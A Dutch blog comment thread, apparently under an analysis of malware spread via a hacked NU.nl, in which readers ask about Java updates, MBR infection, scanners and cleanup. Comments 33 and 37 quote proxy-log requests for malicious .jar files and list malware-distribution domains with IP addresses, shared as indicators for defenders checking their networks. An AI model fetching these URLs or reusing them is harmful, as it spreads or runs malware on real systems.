    Dank voor de informatie, ik probeer het te begrijpen, maar doe het niet, maar dat ligt aan mij. Gister was ik op Nu.nl, kom er niet zo vaak, wat me opviel was, dat even later ik een melding kreeg dat mijn beveiliging uitstond, en ja, dat was zo, snel weer aangezet, ik dacht: hoe kan dat nou? Denk je dat het door dit voorval komt? Ik heb een virusscanner van Telfort, die heeft niks gevonden, maar is dat voldoende?

  28. FL says:

    Sijmen, in jouw test komt er bij mij dit uit:

    Gedetecteerde softwareversies
    Java: 6.0.24
    Jouw versie van Java is verouderd en bevat beveiligingslekken.

    Nu heb ik NU.nl niet met mijn MacBook bezocht op dit tijdstip, maar wil natuurlijk wel up to date zijn. Als ik naar software-update ga, staat hij er echter niet bij. Hoe kan ik hem dan updaten? Volgens mij zou hij het daar moeten aangeven.

    • Dat ligt eraan welke browser je gebruikt. Als je Firefox gebruikt, dan kan je plugins updaten door te gaan naar ‘Menu > Add-ons > Plug-ins’ en dan klikken op ‘Controleren of uw plug-ins up-to-date zijn’.

      • ErwinB says:

        Voor Java wordt je door Mozilla doorgestuurd naar Oracle, die je vervolgens weer voor Java op Mac doorstuurt naar Apple.
        Die update vervolgens enkel de Jave runtime die door het systeem in het algemeen gebruikt wordt, welke anders is dan de Firefox Plug-in…
        Hoe dat je m daadwerkelijk moet updaten is mij nog steeds een vraag.

  29. Donkerg says:

    Hoe kan je nou zien of het virus daadwerkelijk zijn kwaad heeft gedaan ?
    Is dit op het moment dat die de classes gaat inladen ( kan je zien in bijv proxylogs)? (dus java lek…)
    En als die dat java lek heeft, en dus de classes inlaadt, hoe kan je dan aan proxy logs zien of de pdf reader lek is, of kan je dat niet via de proxy logs bepalen ?

    Wat ik probeer te achterhalen is dat ik via de proxy log kan zien welke pc`s er besmet zijn, is er een specifieke url die aanduidt op 1 van de 10 websites dat het virus zich heeft genesteld op een systeem ?

  30. ErwinB says:

    Wordt door MSE of Hitman Pro ook gecontroleerd of er malware in de MBR zit?

    • Ik heb contact met Erik Loman van Hitman Pro en hij zegt dat zijn software ook controleert of de Master Boot Record geïnfecteerd is. Hij heeft daar ook een screenshot van gemaakt.

      Als je nog meer achtergrondinformatie wilt lezen, Erik heeft vanavond nog een bericht geschreven op tweakers.net.

  31. Hans says:

    Dank u voor de informatie.
    Hoe kan ik mijn Mac nog extra controleren op aanwezigheid van virussen want Hitman Pro werkt toch alleen voor Windows?

  32. PinkShinyRose says:

    Is er eigenlijk bekend wat voor wijzigingen er aangebracht worden in de MBR? Geeft het correct functioneren van GRUB2 nog een suggestie dat de MBR intact is of houdt de malware hier rekening mee?

  33. Petski says:

    Bedankt voor de analyse. Ik heb gekeken of de genoemde domeinen in ons netwerk aangeroepen zijn. Deze kwam ik tegen:

    GET http://svitchudes.in// images/ r/ 7031d230c1914b50c1e9d7e82ab0d1a0.jar – DIRECT/188.95.50.57 application/java

    GET http://userskpi.in/ content/ Jas.jar – DIRECT/188.190.98.79 application/x-java-archive

    De .jar op userskpi.in staat er nog steeds (!)

    Have fun.

    • Bedankt voor de tip! Goed om te weten dat userskpi.in inmiddels wel weer bereikbaar is. Heb meteen een kopie gemaakt van de bestanden daar en ga daar verdere analyse op uitvoeren.

  34. Victor says:

    Hoi Symen,
    Dit verhaal is voor ons een serieuze bijdrage in het beheer van ons netwerk.
    Heb je voor de volgende stap”
    1.De eerste stap hierbij is om te controleren of computers binnen het netwerk dataverkeer gestuurd hebben naar de aangegeven domeinnamen, die gebruikt zijn om de kwaadaardige code te verspreiden.”
    Eventueel ook de ip adressen van deze domeinnamen dan kan ik laten onderzoeken of die in onze logs voorkomen van het uitgaande verkeer.
    Groet

  35. Ina (Stampertje) says:

    Je test zegt dat mijn pc( laptop) niet geinfecteerd is maar ik word stapelgek van de popup van dat ding die zeer onregelmatig tevoorschijn komt.
    Annuleren werkt voor geen meter hij is er namelijk zo weer.
    Hoe krijg ik dat ding nu ook verwijderd dan?

    Thanx alvast voor je antwoord

  36. jake says:

    Hoi,
    De test geef bij Internet Explorer aan dat ik geen Adobe Reader geïnstalleerd heb, maar bij de “Manage add-ons” staat de “Adobe PDF Link Helper” versie 9.3.0.148 op Enabled als ik op een PDF klik wordt deze ook braaf geopend.
    De test geeft bij Firefox (die ik nooit gebruik om naar nu.nl te gaan) inderdaad aan dat ik Adobe 9.3 heb en mogelijk risico heb gelopen.
    Kun je hier (of per mail) aangeven of het zeker is dat de trojan voor IE bepaald heeft dat ik géén (kwetsbare) Adobe reader heb?

  37. Bastiaan says:

    Zijn de ip adressen achter de namen ook bekend?

    Ik kan de volgende vinden:

    accent6.in
    svitchudes.in 188.95.50.57
    accbud.in
    svitart.in
    mops63jger.info 66.199.232.98
    prolesok.in
    ekkvxdkh.com 66.199.252.194
    perekladach.in 121.240.1.18
    userskpi.in 188.190.98.79
    turizm-ua.in 91.196.216.102

  38. Pinkpop says:

    @victor

    Een IP adres van een domein kun je achterhalen door het domein te pingen vanaf de command-line. Het kan echter zo zijn dat de DNS gegevens ondertussen veranderd zijn waardoor er een ander IP wordt weergegeven.

  39. Claudio says:

    Bedankt voor de heldere uitleg, en opgedane kennis.
    Is het toch nog ergens goed voor geweest.

  40. Olivia says:

    Hallo,

    Bij mij is beetje raar gelopen. Ik ben op nu.nl op dat tijdstip geweest en ik had een oude Java.
    Any way, meteen gecontroleerd door HitmanPro, Kaspersky en HouseCall (of zoiets, weet ik niet hoe precies ze heten). Alle 3 hebben bij mij niks gevonden.

    Toch heb ik mijn eigen Microsoft Security Essential een volledige scan laten draaien. En die heeft wel “PWS:Win32/Sinowal.gen!Y” gevonden en gevraagd om deze te verwijderen. Natuurlijk heb ik dat gedaan…
    Maar mijn vraag is nu: ben ik nu veilig?! Hoe kan ik zeker zijn dat dat virus niet weer terugkomt (ook als is die verwijderd)?!
    Please antwoord, omdat ik niets meer durf te doen op mijn laptop. Ik bedoel bv dingen kopen via bol.com of zoiets.
    Bedankt!
    Olivia

  41. Rob says:

    Sijmen,

    Dank voor al je werk. Toch nog vraag:
    -draai knoppix van USB-stick, zonder dat HD is gemount
    -ben op nu.nl geweest op betreffende tijd
    -jouw test geeft aan dat java kwetsbaar is

    Acties:
    -geboot vanaf (via andere PC) nieuw geinstalleerde stick
    -mogelijk besmette stick via Gparted geformatteerd
    -knoppix opnieuw op de stick gezet (overschrijft ook MBR?)

    Is dit genoeg, of moet ik aannemen dat MBR van HD (van de PC die ik gebruikte tijdens besmetting) geinfecteerd is ? En dus alsnog Hitman Pro draaien? MS SE geeft geen enkele besmetting.

    Groet,
    Rob

  42. Andries says:

    Sijmen,

    Zo loop ik je nog eens virtueel tegen het lijf!
    Duidelijke analyse. Vakwerk. Zoals gewoonlijk ;-)

    Groet,

    Andries

  43. Stefan says:

    Duidelijke en interessate analyse. Ik had de eerste code zelf ook snel doorlopen en boeiend om te zien hoe het in elkaar steekt. Je redenen te noemen dat de (eerste) javascript code polymorfie zou gebruiken zie ik niet direct terug..?

  44. Pingback: Overheid waarschuwt voor infectie op NU.nl | CISSP 2 CISSP

  45. Job says:

    Hoe zit het met de domein namen? Heb zojuist even een van de .com namen een whois lookup gedaan. Zijn dit gekaapte domeinen, of gewoon geregisteerd op valse namen?

  46. Tjeerd says:

    Toen ik vandaag mijn website in Chrome wou openen kreeg ik opeens de melding:
    http://www.—- contains content from turizm-ua.in, a site known to distribute malware. Your computer might catch a virus if you visit this site.
    Toen ik op deze website zocht, kwam ik bij deze blog uit. Mijn vragen zijn: Hoe kom ik aan dit virus en hoe kom ik er van af. Zou het in Word Press kunnen zitten?

    • Het lijkt erop dat je website is gehackt en kwaadaardige code verspreidt. Wanneer je geld verdient via je website, dan adviseer ik je dringend om een beveiligingsexpert in te schakelen die je hiermee kan helpen. Mocht je hier niet het budget voor hebben, dan sowieso het volgende doen:

      – Alle HTML controleren op kwaadaardige code en indien gevonden: deze verwijderen
      – Alle wachtwoorden veranderen
      – Alle softwareupdates van je website en server installeren
      – Alle maatwerk code reviewen op beveiligingslekken

  47. Walter says:

    Wow! Goed man deze analyze. Een goed gestructureerd verhaal dat ook voor een niet-kenner goed wegleest.

  48. JP says:

    Wordt het virus nu al gedetecteerd door meerdere antivirus software (AVG, F-Secure, …)?

  49. Pingback: Nieuwssite nu.nl verspreidde malware

  50. Pingback: Analyse malware/virus verspreid via NU.nl hack | Sysadmins of the North

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>